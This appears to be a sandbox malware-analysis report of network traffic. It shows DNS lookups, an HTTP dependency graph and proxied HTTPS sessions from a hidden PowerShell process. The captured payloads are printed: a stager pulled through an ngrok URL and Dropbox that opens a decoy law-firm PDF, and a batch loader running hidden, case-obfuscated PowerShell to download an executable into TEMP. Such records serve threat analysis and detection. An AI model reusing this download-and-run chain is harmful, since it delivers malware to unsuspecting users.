Dec 16, 2024 16:14:22.790771008 CET	1.1.1.1	192.168.2.4	0xbcb0	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:25.841864109 CET	1.1.1.1	192.168.2.4	0x6e52	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:25.876488924 CET	1.1.1.1	192.168.2.4	0x1510	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:26.046386003 CET	1.1.1.1	192.168.2.4	0x70d	No error (0)	uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:26.052382946 CET	1.1.1.1	192.168.2.4	0xc40a	No error (0)	uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:26.052382946 CET	1.1.1.1	192.168.2.4	0xc40a	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.053596020 CET	1.1.1.1	192.168.2.4	0xfe8d	No error (0)	uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:26.053596020 CET	1.1.1.1	192.168.2.4	0xfe8d	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.381665945 CET	1.1.1.1	192.168.2.4	0x9c05	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:26.381665945 CET	1.1.1.1	192.168.2.4	0x9c05	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.482065916 CET	1.1.1.1	192.168.2.4	0xb775	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:26.545034885 CET	1.1.1.1	192.168.2.4	0xe1b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.545034885 CET	1.1.1.1	192.168.2.4	0xe1b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.545394897 CET	1.1.1.1	192.168.2.4	0xa21	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 16:14:26.545417070 CET	1.1.1.1	192.168.2.4	0x5a88	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.545417070 CET	1.1.1.1	192.168.2.4	0x5a88	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.546041965 CET	1.1.1.1	192.168.2.4	0x5497	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 16:14:26.975433111 CET	1.1.1.1	192.168.2.4	0x835e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 16:14:26.975902081 CET	1.1.1.1	192.168.2.4	0xc120	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.975902081 CET	1.1.1.1	192.168.2.4	0xc120	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:27.687484980 CET	1.1.1.1	192.168.2.4	0xed86	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:27.687484980 CET	1.1.1.1	192.168.2.4	0xed86	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:27.731138945 CET	1.1.1.1	192.168.2.4	0x69f5	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:27.731138945 CET	1.1.1.1	192.168.2.4	0x69f5	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:30.866918087 CET	1.1.1.1	192.168.2.4	0xdbef	No error (0)	ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:30.866918087 CET	1.1.1.1	192.168.2.4	0xdbef	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.65.15	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:36.721784115 CET	1.1.1.1	192.168.2.4	0xac83	No error (0)	uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:36.721784115 CET	1.1.1.1	192.168.2.4	0xac83	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:15:25.277070999 CET	1.1.1.1	192.168.2.4	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:15:25.277070999 CET	1.1.1.1	192.168.2.4	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app

www.dropbox.com

uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com

ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com

uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com

uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	3.6.122.107	443	7556	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:09 UTC	230	OUT	GET /api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app Connection: Keep-Alive
2024-12-16 15:14:12 UTC	321	IN	HTTP/1.1 302 Found Access-Control-Allow-Origin: * Content-Length: 395 Content-Type: text/html; charset=utf-8 Date: Mon, 16 Dec 2024 15:14:11 GMT Location: https://www.dropbox.com/scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&dl=1 Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-16 15:14:12 UTC	395	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 79 37 37 69 64 66 74 6e 6c 69 35 76 68 71 64 67 34 78 71 73 65 2f 73 65 63 75 72 65 2e 74 78 74 3f 72 6c 6b 65 79 3d 35 64 63 6d 34 35 30 74 38 6a 38 36 64 31 6e 38 72 6d 30 70 79 77 7a 7a 76 26 61 6d 70 3b Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://www.dropbox.com/scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	162.125.69.18	443	7556	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:13 UTC	236	OUT	GET /scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-16 15:14:15 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: img-src https://* data: blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com/cd/0/get/CgWQbVSHwCsSrfRJOs3evEwcHkCw_XmYJmsY8t4Hz5fmjL81P1_3CoBqoAxxPioGGB6ytWIDTcBNUNQ-T-fEY8g-pQiFhxEHAOUbE6UtjKfiTfXhU_xmsABQIucH_Chc4meFZSVnxZj7i38N9Wdha8mQ/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTQ3NjYyNDUyODM0OTYwMjA0ODQxNjg2MTYyNDgzNTc0MTQ3NzY4; Path=/; Expires=Sat, 15 Dec 2029 15:14:14 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=xdTzSi12HLOif561TmltF7A5; Path=/; Domain=dropbox.com; Expires=Tue, 16 Dec 2025 15:14:14 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=xdTzSi12HLOif561TmltF7A5; Path=/; Expires=Tue, 16 Dec 2025 15:14:14 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=ceDULeF9Os; Path=/; Expires=Tue, 16 Dec 2025 15:14:14 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 15 Dec 2029 15:14:14 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 16 Dec 2024 15:14:14 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: fdb76eeee56245ba919004b446d9e2db Connection: close
2024-12-16 15:14:15 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	162.125.69.15	443	7556	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:16 UTC	370	OUT	GET /cd/0/get/CgWQbVSHwCsSrfRJOs3evEwcHkCw_XmYJmsY8t4Hz5fmjL81P1_3CoBqoAxxPioGGB6ytWIDTcBNUNQ-T-fEY8g-pQiFhxEHAOUbE6UtjKfiTfXhU_xmsABQIucH_Chc4meFZSVnxZj7i38N9Wdha8mQ/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-16 15:14:17 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="secure.txt"; filename*=UTF-8''secure.txt Content-Security-Policy: sandbox Etag: 1734159154702894d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 222 X-Webkit-Csp: sandbox Date: Mon, 16 Dec 2024 15:14:17 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 411 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 17fa7d359b6c4ee29e81c3289cfc1445 Connection: close
2024-12-16 15:14:17 UTC	411	IN	Data Raw: 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 6d 73 65 64 67 65 2e 65 78 65 20 2d 41 72 67 75 6d 65 6e 74 4c 69 73 74 20 22 2d 2d 6b 69 6f 73 6b 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 73 69 72 67 72 68 35 77 63 6f 74 72 39 34 76 72 74 37 75 34 79 2f 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 3f 72 6c 6b 65 79 3d 67 79 38 36 6c 6b 66 73 77 61 69 63 31 72 70 61 6e 67 6a 64 39 38 6b 39 6d 26 64 6c 3d 31 22 3b 20 24 52 61 6e 64 6f 6d 46 69 6c 65 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 74 65 6d 70 5c 24 28 47 65 74 2d 52 61 6e 64 6f 6d 29 2e 62 61 74 22 3b 20 49 57 52 20 2d 55 72 69 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 64 33 77 38 Data Ascii: Start-Process msedge.exe -ArgumentList "--kiosk https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1"; $RandomFileName = "$env:temp\$(Get-Random).bat"; IWR -Uri "https://www.dropbox.com/scl/fi/d3w8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	162.125.69.18	443	7556	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:21 UTC	212	OUT	GET /scl/fi/d3w8il7o04o41ssg64bq2/loader.txt?rlkey=acjjwiqfkswqv6iwv43ps8t7g&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-16 15:14:22 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.c [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com/cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZUkujezvRcH5YbIMVOGBO0F7mHdl_LeIrVOqF5pXVStsdZQkTg-6Z3sOfTWNnhOLVg9vKpg4Ec--da7p93xIJyAL5mLhYeDBD9QD4uhjGpB-i5_UU7zubcGcRa-Nt/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjA0MjI3MjgzODMxNTE0MzY2NDc1NTE3NTQxNTI0NDcwNDU3NTU3; Path=/; Expires=Sat, 15 Dec 2029 15:14:21 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=q0LrvpdlbfnQk5qRRP7IZY_u; Path=/; Domain=dropbox.com; Expires=Tue, 16 Dec 2025 15:14:21 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=q0LrvpdlbfnQk5qRRP7IZY_u; Path=/; Expires=Tue, 16 Dec 2025 15:14:21 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=n131_-M3MU; Path=/; Expires=Tue, 16 Dec 2025 15:14:21 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 15 Dec 2029 15:14:21 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 16 Dec 2024 15:14:22 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 56782be67984430eb991687ce2987f57 Connection: close
2024-12-16 15:14:22 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	162.125.69.18	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:24 UTC	764	OUT	GET /scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-16 15:14:25 UTC	4094	IN	HTTP/1.1 302 Found Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com/cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=Mjg5NjA4OTA3Nzc5NTk1NjcwOTE4NTM2NDYzMzQwNjYzNTgyMzQ1; Path=/; Expires=Sat, 15 Dec 2029 15:14:25 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=2sTTQ37tzcKPWpfXVwwKCCq6; Path=/; Domain=dropbox.com; Expires=Tue, 16 Dec 2025 15:14:25 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=2sTTQ37tzcKPWpfXVwwKCCq6; Path=/; Expires=Tue, 16 Dec 2025 15:14:25 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=NDGzMlTFMQ; Path=/; Expires=Tue, 16 Dec 2025 15:14:25 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en_GB; Path=/; Domain=dropbox.com; Expires=Sat, 15 Dec 2029 15:14:25 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 16 Dec 2024 15:14:25 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 9a0a04cf672641c7904d01e47c84c178 Connection: close
2024-12-16 15:14:25 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	162.125.69.15	443	7556	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:24 UTC	370	OUT	GET /cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZUkujezvRcH5YbIMVOGBO0F7mHdl_LeIrVOqF5pXVStsdZQkTg-6Z3sOfTWNnhOLVg9vKpg4Ec--da7p93xIJyAL5mLhYeDBD9QD4uhjGpB-i5_UU7zubcGcRa-Nt/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-16 15:14:25 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="loader.txt"; filename*=UTF-8''loader.txt Content-Security-Policy: sandbox Etag: 1734159152414066d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 180 X-Webkit-Csp: sandbox Date: Mon, 16 Dec 2024 15:14:25 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 804 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: cd4ce37179ea4e16be8ca70bb4d5b2a8 Connection: close
2024-12-16 15:14:25 UTC	804	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 49 6e 64 6f 57 53 74 59 4c 65 20 68 69 44 64 65 4e 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 43 6f 6d 6d 61 6e 64 20 22 24 52 61 6e 64 6f 6d 50 44 46 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 70 64 66 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 24 52 61 6e 64 6f 6d 45 58 45 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 65 78 65 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 Data Ascii: @echo offpowershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	162.125.69.15	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:27 UTC	888	OUT	GET /cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1 HTTP/1.1 Host: uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-16 15:14:28 UTC	668	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Lewis Silkin LLP.pdf"; filename*=UTF-8''Lewis%20Silkin%20LLP.pdf Etag: 1733684767914485d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 162 Date: Mon, 16 Dec 2024 15:14:27 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 106848 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 26211474235840f997fc3ff32d3571ee Connection: close
2024-12-16 15:14:28 UTC	15716	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 32 35 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 2f 4d 65 74 61 64 61 74 61 20 38 35 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 38 36 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 32 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 32 30 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e 74 20 Data 